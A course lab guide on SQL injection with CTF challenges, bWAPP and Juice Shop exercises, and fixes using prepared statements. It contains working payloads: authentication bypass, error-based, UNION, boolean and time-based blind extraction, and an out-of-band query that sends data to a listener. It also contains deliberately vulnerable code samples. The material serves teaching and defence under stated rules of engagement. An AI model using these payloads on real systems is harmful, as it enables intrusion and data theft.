SQL Injections

Lecture Notes

This lecture will present an overview over SQL Injections with the multiple variants

Download here or here with further lecture notes.

Practical tasks

The objective of this lab is to explore Injection Attacks, in particular SQL Injection. This guide will be split into two parts. The first will use CTF challenges, then we will check other examples in bWAPP and JuiceShop. Finally we look at some ways to fix SQL Injections.

SQL injection (SQLi) happens when an application builds a SQL statement by pasting user input into the query text instead of sending the data separately from the code. The database then executes your text as part of the query. It sits at the top 5 of the OWASP Top 10 (A05:2025 — Injection) because the same flaw can leak data, bypass authentication, and write or destroy data.

If you require assistance remembering some of the SQL syntax, check the SQL Zoo

For many exercises with bWAPP and Juice Shop it is relevant to use the Zed Attack Proxy or Burp Suite. These tools will interact with your browser, either directly or through a HTTP Proxy, and allow you to capture, craft and send requests as required for each exercise.

CTF Challenges

The lab environment has eight apps here contain exactly one deliberate flaw of this kind. Everything else in the apps works as a normal application should. They map the flaws identified in the lecture slides.

Your targets

(The engine column is something you should discover yourself — but it is listed here so you can verify your recon.)

Rules of engagement

• Only these eight targets, and only from your own lab VM. Do not touch any other lab service, student VM, or CTFd instance.
• Extraction is the mission. The flags live in data the apps never show you. Read what you need to get the flag and stop. Do not run DROP/DELETE/UPDATE payloads, even though you will soon realize they would probably work — in a real engagement that line is where a lawful test becomes an incident. Noting that a capability exists is part of the report; exercising it is not.
• No denial of service. These are small single containers; flooding them hurts the class.
• Linkly only: run your receiver on your own remote session. You are allowed to be reached from the challenge; you are not allowed to reach into other people’s boxes.
• The flag rotates after every accepted submission (one flag is shared per app and is re-rolled when anyone solves). If your submission is rejected after you extracted a flag, someone else solved while you were reading — re-run your extraction; the database was re-seeded with the new flag.

Tools

A browser plus curl is enough for most of this; you will want a small script of your own (Python requests is fine) for the slow challenges. The lab is offline — do not plan on internet tools. If you have an injection tool you trust (e.g. sqlmap), feel free to use it after you have done the manual pass: the report is about what you observed and why.

The shape of the problem

The common root cause

In every app, somewhere, code looks like this (schematically):

rows = db.execute(f"SELECT … WHERE {column} = '{user_input}'")

The input is part of the code of the query, not its data. Your first job in each app is to find the input that reaches a query, and your second is to find out what comes back to you when you break the query.

The feedback channel decides the technique

The single most important idea in this lab:

The technique you can use is determined by the feedback the application gives you.

Break a query and watch closely. Something must tell you that you broke it:

As you work through the challenges, classify each app against this table before you read its “you should see” — the classification is the observation.

Two dialects, one behaviour

Five apps run SQLite and three run MariaDB. You can usually tell which is which from the error messages alone (MariaDB answers with numbered errors like 1064 / 1105; SQLite with near "…": syntax error). The dialect also decides which functions exist: SLEEP, updatexml, INTO OUTFILE are MariaDB; ||-concatenation, substr, unicode are the SQLite side. Expect to look up function names — that is normal.

Two small syntax facts that will bite you if you skip them:

• A -- comment needs a trailing space in both dialects (-- , not --).
• # comments work only in MySQL/MariaDB, not in SQLite.
• MariaDB also accepts a control caracter after: `–’, SQLite does not.

The eight applications

For each app: what you can do with it, what to try first (hint), what you should observe, and the conclusion you should be able to write down. Work them in order — each one teaches a skill the next one uses.

Staff Portal — sqli1.chal.deti:8030 (100, SQLite)

A login form for a fictional IT crew. Sign in and you get the shift roster and the day’s “IT announcement”.

Try first. Sign in with a normal wrong password — note the exact error text. Now put a single quote in the username and watch what changes. Think about how the app’s check “this username AND this password” is expressed in SQL — and what happens to the password part if the username is allowed to end the sentence.

You should see.

• A bare ' produces a generic “Something went wrong on our side” — the app swallows database errors here, so you only have success/failure to read.

The Issue. The username is concatenated into the WHERE clause; commenting out the rest of the query removes the password check — authentication bypass. And the announcement is a column of a row you are not supposed to read: injection also lets you see data outside your role. This is in-band, classic: the result lands directly in the normal response.

For your report: the bypass payload, the before/after behaviour, and which row’s data you ended up reading. Also note: you now know the roster table exists and has a notice column — in a real system that table would also contain the passwords of every user. Note it.

TechBazaar Search — sqli2.chal.deti:8031 (200, MariaDB)

A parts counter. Search the stock by name; the counter “talks when ruffled”.

Try first. Search for a normal part, then search for '. Read the message the app shows word for word — it is the database’s own words. From the error text you should be able to name (a) which database engine this is, and (b) part of the query that failed. Then ask: can you make the database compute something and print the result inside an error?

You should see.

• Errors arrive verbatim: Search failed: (1064, "You have an error in your SQL syntax …") — engine, table name, and query fragment, on the public page.
• A term like %' AND updatexml(1, CONCAT(0x7e, (SELECT <something>), 1)) -- triggers MariaDB error 1105: XPATH syntax error: '~<something>' — the subquery’s value, embedded in the error text. The flag is in a table that no page ever shows; to find its name, first learn to read schemas: (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1) and then obtain the flag from the database.

Conclude. Error-based injection. Two distinct findings to write down:

1. raw database errors reach the user — engine, schema and (here) data leak by accident;
2. database functions can be forced to put data into the error message, so you can extract anything the DB user can read, with no result table at all.

For your report: the error that first identified the engine, the schema-enumeration payloads, and the final extraction payload.

PhotoVault — sqli3.chal.deti:8032 (200, SQLite)

A small photo gallery. Every photo has a number in the URL; the detail page shows the photo with its title and caption.

Try first. Open a photo that does not exist (/photo/99), then /photo/0, then /photo/1-1 (arithmetic — what does the app do with the number?). The detail page renders exactly four things: id, image, title, caption. Now the key move: in SQL you can append your own row to a query with UNION SELECT — but only if the number of columns matches. Count them.

You should see.

• /photo/1 UNION SELECT 1,2,3,4 renders a broken “photo” with your four values in place → the query has four columns and the input is not type-checked at all.
• You can pivot from the last example to extract data from other tables.

Conclude. Union-based (in-band) injection. The column count of the original query is discoverable from behaviour, and once it is known you can print any table’s data into an ordinary page. Remember the trailing space after --.

For your report: how you determined the column count, and which columns you chose to carry the data out (title vs caption vs image path — and why the text columns were the sensible carriers).

DropLite — sqli4.chal.deti:8033 (300, SQLite)

A tiny file-transfer index. Files show as name and size only — contents are never served. You can search the index by name, and the page tells you how many files match.

Try first. Search for a nonsense string (how many match?), then for a term that matches everything, then build two searches that differ only in a fact about the database:

q = zzz' OR 1=1 --     →  how many files match?
q = zzz' OR 1=2 --     →  how many files match?

Nothing about the app has changed except a yes/no answer inside the match count.

You should see.

• The match count flips (all rows vs none) depending on a boolean you inject — a yes/no channel with no data, no errors, nothing.
• The flag is the content of a file whose name and size you can already see in the listing. You cannot read it — but you can ask the database about it, one character at a time: q = zzz' OR (SELECT unicode(substr(content,1,1)) FROM files WHERE name='FILENAME') < 64 -- and binary-search the character code.

Conclude. Blind / inferential injection. When the response carries no data at all, the technique changes from “read the result” to “ask true/false questions fast enough”. This is where hand-testing ends and your script begins: loop over positions, binary search the code, assemble the string. Expect a couple of hundred requests — and this is still one of the fast blind channels.

For your report: your oracle expression, your script (appendix), and the total request count. Compare the effort with PhotVault — same database, completely different cost.

The Daily Byte — sqli5.chal.deti:8034 (300, SQLite)

A small blog. Posts are grouped under a few tags; pick a tag and the page shows the matching post titles. Note what does not happen: your tag is not echoed back, there is no match count, and errors are silent.

Try first. Browse with a real tag, then with one that matches nothing. Then use the union skill from DropLite differently: instead of printing data, inject a row that appears only if a character guess is right:

tag = zzz' UNION SELECT 1, '>>MARKER<<', 3, 4
      WHERE (SELECT substr(secret,1,1) FROM vault LIMIT 1) = 'f' --

You should see.

• A fake post titled >>MARKER<< appears in the list only when the guessed character is correct — the page’s content is the channel. (Check the raw HTML: the app escapes output, so the arrows arrive as entities — your check must look at the unescaped text.)
• Scanning a small character set per position reads the vault secret one character at a time.

Conclude. Blind / content-based (marker) injection. Same situation as DropLite — no data comes back — but a different channel: content instead of count. Write down when each channel is usable and the other is not (e.g. a page that shows nothing when the predicate is false, vs one that always renders a list).

For your report: why your marker has to survive the app’s output-escaping, and the contrast with DropLite in one short paragraph.

Guestbook — sqli6.chal.deti:8035 (400, MariaDB)

A guestbook for the crew. Sign it (name + message) and every submission gets the same thanks. Your note then appears under “Recent notes” — read that list carefully before you start, because it shapes the mistake everyone makes here.

Try first. Sign normally and time the response (a few requests, note the spread). “Recent notes” renders your own input back — that is just reflection, not a data channel; do not confuse it with one. Now make the name a query that delays the database, and put the delay inside the insert itself:

name = x', (SELECT IF((SELECT ascii(substring(secret,1,1) FROM vault LIMIT 1) > 79, SLEEP(3), 0)) ) --

Mind the parentheses: the SLEEP has to run inside the VALUES; a second statement after a ; is never executed by this app, and an unbalanced query fails silently.

You should see.

• The page is identical in every case — same thanks, same list. The only difference is the clock: it takes ~3 s when the comparison is true, and is instant when it is not.
• With a per-position sentinel (… IS NOT NULL AND … > 0) and a binary search on the code, the whole secret comes out — one slow POST at a time.

Conclude. Blind / time-based injection, on a write statement (INSERT). Three things to write down: (1) “it is only a guestbook” is not a defence — write-side injection is fully exploitable; (2) timing is the noisiest channel in this lab, which is exactly why you threshold, repeat, and automate; (3) the delay had to live inside the statement the app actually runs.

For your report: your timing threshold, what noise you saw, and how many requests per character compared with The Daily Byte.

Linkly — sqli7.chal.deti:8036 (500, SQLite)

A link-preview service. Paste a URL; Linkly fetches it for you and shows you what it got. Look closely at the add form: it is built safely (parameterised) — the interesting parts are the preview page (/l/<id>) and the fact that the application itself performs the HTTP request, whatever row the query happens to return.

Try first. Put a tiny listener on your own lab VM (nc -l -p 9900 or a two-line Python HTTP server) and add a link to it. The preview page should tell you the fetch succeeded — the application just made an outbound HTTP request on your behalf, and the URL it fetches comes from the database. So: what if the database row contained your URL with the secret in the query string?

You should see.

• /l/1 on its own works; now /l/1 UNION SELECT 'http://<your-vm-ip>:9900/?d=' || 1, 2, 3 FROM vault -- -- (SQLite concatenation is ||). The preview renders, and your receiver gets a GET whose query string carries 1,2,3 — the data never touched a page you control at all.
• You can pivot from the previous example into an actual SELECT from a table.
• The preview text on the page only confirms the fetch happened (Fetched: HTTP 200 in …ms).

Conclude. Out-of-band read. When the app gives you no channel back — no error, no count, no reliable timing — but can talk to the outside, the data leaves through a request the application itself performs; you only supply the destination. Note the prerequisite you had to satisfy: a reachable address for your receiver (your VM’s lab IP). If the app could not reach you, this technique would not exist.

For your report: how you found the address the challenge can use to reach your VM, what your listener was, and the captured request (redacted except the flag).

TransferOps Console — sqli8.chal.deti:8037 (500, MariaDB)

Internal tooling for a transfer fleet. The console renders three tables (transfers, routes, queues) and lets you export a report for a table — the result is written as a CSV into a shared reports folder, and the same app serves that folder back at /reports/<file>. Public reports are the setting; the console simply never renders everything that lives in its database.

Try first. Export one of the three known tables and read the CSV from /reports/ — you now know the writer works and where it writes. The writer takes the table name from your request. What other tables exist in this database? A wrong name will not break the page; the report panel will show you the database’s answer.

You should see.

• Guessing table names is quick: GET /report/whatever fails with a clean “table doesn’t exist” style error in the report panel. The console never renders the one table that matters — its name is short, and it is the same word every vault in this lab uses.
• You can abuse the filter to get data out of the server.

Conclude. Out-of-band write. The data left the database as a file, into a directory the application serves to anyone — possible because the database user carries file-write privileges and the report writer trusts your table name. Contrast with Linkly: same family (out-of-band), different channel (a file instead of a network request) — the channel is whatever the application can touch.

For your report: the probe that named the hidden table, both requests (export + download), and the two prerequisites this technique needed (file privilege + web-served output path).

What the eight apps prove together

When you have finished, you should be able to write these without looking anything up:

1. One root cause, eight faces. Every app concatenates input into SQL. What differs is the feedback channel — and the channel alone decides which technique works: data in the response (classic, union), error text, yes/no count, content marker, response time, outbound read, outbound write.
2. The channel decides the cost. Union extraction is one request; boolean extraction is a few hundred; time-based is the slowest and the noisiest. A good tester matches the technique to the channel — and to the patience available.
3. The dialect matters. SQLite and MariaDB differ in comments, functions and error style; the error text (when you are lucky enough to see it) identifies the engine and is one of the first payoffs of intelligence gathering.
4. The fix is one line, and it is the same for all eight: parameterised queries (prepared statements), so data is never code. Everything else — least privilege (no file privilege, no access to tables the app does not need), no raw errors in responses, validated identifiers, non-world-readable report paths — is depth, not the fix.
5. There may be some context driven subtleties: TransferOps explicitly trusts a request-provided table name, and placeholders bind values, not table identifiers. This case needs a strict allowlist of permitted table names, or simply a different design.
6. The impact goes far beyond the flag. In Staff Portal you could have read every row of the roster — passwords included. In Guestbook and TransferOps you could have written. In a real engagement you stop at “this is possible, here is the proof, here is the scope of the damage” — and that is exactly what your report does.

Your personal lab report (OWASP PTES)

The OWASP Penetration Testing Execution Standard (PTES) describes a penetration test as a sequence of phases. Use those seven phases as the skeleton of a short report on this lab.

Framing: this report is for you — an exercise, not a delivery. Nobody grades its format. Write it as if it were a real engagement write-up you would be proud to show: concrete, evidence-backed, and honest about what you did not manage. The bar is: a person who was not in the lab should be able to read it and reproduce every step.

Phase 0 — Pre-engagement interactions

• Scope: the eight targets, addresses, values.
• Rules of engagement you followed, and any questions you had to resolve.
• Tooling: what you used (browser, curl, your scripts), and why.

Phase 1 — Intelligence gathering

For each app, what you learned before exploiting:

• Endpoints and parameters (where did you find them — forms, URLs, source view?).
• Which inputs are reflected, echoed, or used silently.
• Database engine identification — and the exact observation that told you.
• Data inventory: which tables/rows/columns did you enumerate, and how?

Phase 2 — Threat modeling

For each app:

• Which inputs reach SQL, and what did you assume before you proved it?
• What data in that database is sensitive (not just the flag)?
• If injection succeeds, what is at stake — confidentiality, integrity, availability?
• Trust boundaries: who/what is trusted (e.g. the report writer trusting the table name)?

Phase 3 — Vulnerability analysis

For each app, one detection entry:

• The test you ran (payload + request).
• The evidence (response snippet or screenshot) — what exactly changed.
• The classification: which of the eight faces, and why not the others.
• Your confidence, and what would have lowered it.

Phase 4 — Exploitation

For each app:

• The full chain from detection to flag (payloads, in order).
• Automation: what you scripted, roughly how many requests, how long it took.
• What was hardest, and how you got past it.

Phase 5 — Post-exploitation

For each app, now that you have the database:

• What else is reachable (other tables, rows, columns) — and what a real attacker would do with it? (Staff Portal’s roster is the obvious example.)
• What could be changed (Guestbook writes, TransferOps file writes)?
• What you deliberately did not do, and why. (This is the professional line — make it explicit in the report.)

Phase 6 — Reporting

• A findings table: one row per app — finding, severity, evidence, root cause, impact, remediation.
• A short overall picture: the common root cause, the fix that covers all eight, and the depth measures per app.
• Reflection (this is the part that is really for you):
  • Which PTES phase took the most time, and was that what you expected?
  • Which technique surprised you most?
  • What would you do differently on a second pass?

Appendices (suggested): the payloads you used, verbatim; your extraction scripts; the captured Linkly request.

Self-check — “done” means you can answer, for every one of the eight apps: which input, which channel, which class, which payload, what else was reachable, and the one-line fix. If any app cannot answer all six, that is your next experiment.

bWAPP

bWAPP is a free, open-source and intentionally unreliable web application, or a web buggy program. It helps security enthusiasts, designers and students discover Web bugs and stop them from doing so. bWAPP plans for positive penetration tests and cyber ethics initiatives.

Access bWAPP through the Lab environment at http://bwapp.chal.deti:8081. In alternative you may download it from the bWAPP website, or run a podman container (we advise this approach)

podman run -d -p 127.0.0.1:80:80 raesene/bwapp

After this step, just point your browser to http://localhost/install.php, install bWAPP and follow the guide.

When the installation is completed, head to the website and create a user. Enter any data you wish.

Solutions for the bWAPP challenges are available at:

• https://jaiguptanick.github.io/Blog/blog/Walkthrough_of_bWAPP_solutions_A1_injection_writeups/
• https://wooly6bear.wordpress.com/wp-content/uploads/2016/01/bwapp-tutorial.pdf

The SQL Injection Challenges

In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various ‘bugs’.

GET/SEARCH

For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password which seems to be possible as we have a table.

When a table is present, there is always the possibility of filling it with user specified data and obtain information through the said table. However first we must find how data is handled and what is vulnerable.

Detect the vulnerability

bWAPP is asking us to search the database for our favorite movie which contains the word ‘iron’ and the search field gives the result ‘iron man’. In this case there is a high probability that this query contains some columns.

The select command is something like SELECT column1, column2, column3, column4 FROM table WHERE movie LIKE '%". $userinput."%'

Task

• Find if the field is vulnerable and what kind of SQL Injection is available

Find the number of columns

If data is to be obtain, the number of columns must be known to the attacker. Only after this step he can put the information in a format compatible by the existing code. We know that the table has 5 columns, but we do not know how many others are fetch from the database. This is a trial an error task, which can be done in several ways. One that works is using the ORDER BY column_number clause.

Tasks

• Define a strategy to find the number of columns. How many columns we have?
• How many columns we have?
• What kind of SQL Injection was used?

Uniting queries

Until now we know the number of columns and we suspect what the query looks like:

SELECT column1, column2, column3, column4 from table where movie LIKE '%". $userinput."%'

We also know that we have a table filled with information from a database. What we want is to use it to exfiltrate information from another table. But first it is important to consider the UNION keyword. When used after a SELECT statement, the UNION statement allows to concatenate the results from another query into the first one.

That is, the first query is executed and it is united with another query. This second query will be controlled by the attacker. An important issue is that the number of columns must match. While we could do ... UNION SELECT 1,2,3. The second SELECT clause must have the first number of columns. Because we already know it, we can move forward.

Tasks

• Add a second query with the adequate number of columns

Exfiltrate Data

Now that it is possible to concatenate information, it is trivial to extract data from other tables. Instead of issuing a SELECT 1,2,3 you can actually address existing tables.

Tasks

• Extract information from users
• Obtain all user information, including passwords
• Obtain the list of databases
• Obtain the list of tables
• Load a file from the server

Other SQL Challenges

The remaining SQL Challenges are also very relevant to this lab, and the mostly explore the same attack, but present different interfaces, or require different SQL Injection types.

Tasks

• Solve the SQL Injection - Blind - Boolean Based
• Solve the SQL Injection - Blind - Time-Based
• Solve the SQL Injection (GET/Select)
• Solve the SQL Injection (POST/Search)
• Solve the SQL Injection - Stored (User-Agent)

Do not forget to document the type of SQL Injection used, the number of columns, and the queries used to obtain the information.

This tool also exploits a common Pitfall: Developers frequently forget about different interaction patterns, or consider that data may be mangled. One good example is the GET/Select exercise: the select field contains a limited number of values, but an attacker may introduce more and conduct an attack this way.

Solutions for these challenges can be found here. Use them to guide you through the challenges.

Juice Shop

To install Juice Shop, follow the instructions at: https://owasp.org/www-project-juice-shop/ The installation is very simple, and the application can be run as a podman container:

   podman pull bkimminich/juice-shop
   podman run -d -p 127.0.0.1:3000:3000 -e "NODE_ENV=unsafe" bkimminich/juice-shop

Notice the use of NODE_ENV=unsafe. This environmental variable will enable potentially unsafe challenges. This will not be an issue for you as you are using a Virtual Machine, and the instance will not be public. Do not use this settings in a public instance of Juice Shop.

After starting the podman container, Juice Shop should be accessible at http://localhost:3000. Verify that the application is running by visiting this URL in a browser. You should see the Juice Shop home page.

The Juice Shop application contains a challenge named ‘Login Admin’, which can be solved through SQL Injection. The goal is to login as the admin user, without knowing the password. The login page is available at http://localhost:3000/#/login. The admin user is the first user in the database, and has the email admin@juice-sh.op.

Let us inject SQL into the login field to bypass the login and login as the first user in the database. First, create an error by giving ' as input to the email field, and any string to the password field.

You can use the ZAP Proxy or Burp Suite to intercept the request, or simply use the browser developer tools to inspect the request being sent.

Check the Response in the browser Network tab. You can see the SQL query used in the login. In Burp Suite or ZAP Proxy, you can see the response in the intercepted request.

"SELECT * FROM Users WHERE email = ''' AND password = '698d51a19d8a121ce581499d7b701668' AND deletedAt IS NULL"

Here we used ' in the email input field to cause an SQL error.

Now we know the SQL query related to logging in. We can send ' OR TRUE -- as email input and any string as a password.

"SELECT * FROM Users WHERE email = '' OR TRUE -- AND password = '698d51a19d8a121ce581499d7b701668' AND deletedAt IS NULL"

• ': character close the email string.
• OR: is a SQL query
• TRUE: is a boolean value
• --: will comment out the SQL query after the TRUE

So, now the SQL will check for email = '' or true which is always a TRUE statement. This SQL injection will log us as the first user in the database.

Order the Christmas special offer

We will use SQL Injections in to order a product that is not supposed to be available any more. This works because products have states, and deleted products are only marked as deleted, but not removed from the database. This is a common approach to avoid losing data.

We need to discover the id of the product, and then add it to our shopping cart. Finally we will checkout and complete the order. The product we want to order is the Christmas special offer of 2014. It is not available anymore, but it is still in the database, marked as deleted.

The search button allows filtering products by name. This is a good starting point to find the id of the product. However, the search button is not vulnerable to SQL Injection. We need to find another way to inject SQL.

If you look at the requests being made, notice the use of /rest/products/search?q=. This is a GET request, and the q parameter is directly used in the SQL query. Check the output of the request when using q=, q=; or q='. You should be able to find a SQL error message. This means that the q parameter is vulnerable to SQL Injection.

Use of the jq tool is recommended to parse the JSON output of the requests. You can install it with sudo apt install jq.

Task:

• Find out the id Christmas Super-Surprise-Box (2014 Edition)
• Add a product to your shopping cart and analyze the request
• Add the Christmas Super-Surprise-Box (2014 Edition) to your shopping cart
• Checkout and complete the order

Database Exfiltration

You try UNION attacks to find the number of columns, or dump the database. However, the output is in JSON format, which makes it difficult to read. Use ')) UNION SELECT 1,2,3... -- to find the number of columns. You should find that there are 9 columns. From this, you can get up to 9 pieces of information from any single table. There is a interesting table name sqlite_master which contains the database schema. You can use it to find the names of all tables in the database (name column). You can also use it to find the names of all columns in a table (the sql column).

Tasks:

• Dump all table names
• Dump all column names for any table
• Dump the users
• Dump the products
• Dump the orders

Find out how the application hides deleted products from its customers. Try to craft an attack string that makes deleted products visible again. You need to get the deleted product into your shopping cart and trigger the Checkout. Neither of the above can be achieved through the application frontend and it might even require (half-)Blind SQL Injection. Exfiltrate the entire DB schema definition via SQL Injection An attacker would try to exploit SQL Injection to find out as much as possible about your database schema. This subsequently allows much more targeted, stealthy and devastating SQL Injections, like Retrieve a list of all user credentials via SQL Injection.

Find out which database system is in use and where it would usually store its schema definitions. Craft a UNION SELECT attack string to join the relevant data from any such identified system table into the original result. You might have to tackle some query syntax issues step-by-step, basically hopping from one error to the next As with Order the Christmas special offer of 2014 this cannot be achieved through the application frontend.

Fixing SQL Injections

The best way to fix SQL Injections is to use Prepared Statements. This approach will separate code from data, and avoid the possibility of an attacker injecting SQL code. Prepared Statements are available in most programming languages. An ORM (Object Relational Mapper) will also use Prepared Statements, and is a good approach to avoid SQL Injections.

The following text will create a simple SQLite database with a users table, which will be used in the next examples.

CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL,
    password TEXT NOT NULL,
    email TEXT NOT NULL
);

PHP

The following PHP code contains a SQL Injection vulnerability.

<?php
// Create a new SQLite3 connection
$db = new SQLite3('./database.db');
// Execute a query with user input directly in the SQL statement
$results = $db->query("SELECT * FROM users WHERE username = '$username' AND password = '$password'");
?>

Inspect the code and find the SQL Injection vulnerability. In PHP, you can use the PDO library to create prepared statements. Here is an example of a prepared statement in PHP:

<?php
// Create a new PDO connection
$pdo = new PDO('sqlite:./database.db');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// Prepare the SQL statement with placeholders
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
// Bind the actual values to the placeholders
$stmt->bindParam(':username', $username);
$stmt->bindParam(':password', $password);
// Execute the statement
$stmt->execute();
// Fetch the results
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>

In this example, the SQL statement is prepared with placeholders for the username and password. The actual values are then bound to the placeholders using the bindParam method. This approach ensures that the values are treated as data, and not as part of the SQL code, thus preventing SQL Injection attacks.

The documentation for the PDO library is available at: https://www.php.net/manual/en/book.pdo.php where you can find information about Prepared Statements. For ORM, you can use Eloquent, which is part of the Laravel framework.

Python

The following Python code contains a SQL Injection vulnerability.

import sqlite3

def get_user(username, password):
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()
    cursor.execute(f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'")
    return cursor.fetchall()

Inspect the code and find the SQL Injection vulnerability. Fix it using Prepared Statements and ORM. The documentation for the sqlite3 library is available at: https://docs.python.org/3/library/sqlite3.html where you can find information about Prepared Statements. For ORM, you can use SQLAlchemy: https://www.sqlalchemy.org/

Java

The following Java code contains a SQL Injection vulnerability. Fix it using Prepared Statements.

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.sql.PreparedStatement;

public class SQLInjectionExample {
    public static void main(String[] args) {
        String username = "user"; // User input
        String password = "pass"; // User input

        try {
            Connection conn = DriverManager.getConnection("jdbc:sqlite:database.db");
            Statement stmt = conn.createStatement();
            ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'");
            
            while (rs.next()) {
                System.out.println("User ID: " + rs.getInt("id"));
            }
            rs.close();
            stmt.close();
            conn.close();
        } catch (Exception e) {
            e.printStackTrace();
        }   
    }
}

Inspect the code and find the SQL Injection vulnerability. Fix it using Prepared Statements and ORM. The documentation for JDBC is available at: https://docs.oracle.com/javase/tutorial/jdbc/basics/index.html where you can find information about Prepared Statements. For ORM, you can use Hibernate: https://hibernate.org/orm/documentation/

Ruby

The following Ruby code contains a SQL Injection vulnerability.

require 'sqlite3'

def get_user(username, password)
    db = SQLite3::Database.new('database.db')
    db.execute("SELECT * FROM users WHERE username = '#{username}' AND password = '#{password}'")
end

Inspect the code and find the SQL Injection vulnerability. The documentation for the sqlite3 gem is available at: https://github.com/sparklemotion/sqlite3-ruby where you can find information about Prepared Statements. For ORM, you can use ActiveRecord: https://guides.rubyonrails.org/

Go

The following Go code contains a SQL Injection vulnerability. Fix it using Prepared Statements or an ORM.

package main
import (
    "database/sql"
    "fmt"
    _ "github.com/mattn/go-sqlite3"
)
func getUser(db *sql.DB, username, password string) {
    query := fmt.Sprintf("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password)
    rows, err := db.Query(query)
    if err != nil {
        fmt.Println(err)
        return
    }
    defer rows.Close()
    for rows.Next() {
        var id int
        var name string
        var pass string
        rows.Scan(&id, &name, &pass)
        fmt.Println(id, name, pass)
    }
}
func main() {
    db, err := sql.Open("sqlite3", "./database.db")
    if err != nil {
        fmt.Println(err)
        return
    }
    defer db.Close()
    getUser(db, "user", "pass")
}

Inspect the code and find the SQL Injection vulnerability. The documentation for the database/sql package is available at: https://pkg.go.dev/database/sql where you can find information about Prepared Statements. For ORM, you can use GORM: https://gorm.io/docs/

External exercises

• TryHackMe SQLI Lab

Relevant Software:

• bWAPP
• OWASP Juice Shop
• WPScan - Available on ParrotOS and Kali
• OWASP Zed Attack Proxy - Available on ParrotOS and Kali
• SQLMap - Available on ParrotOS and Kali

Resources:

• Payload All The Things - SQLi
• CVE-2020-13640
• OWASP SQL Injection
• SEELabs SQL Injection Lab
• OWASP PTES (v2.0) OWASP SQL Injection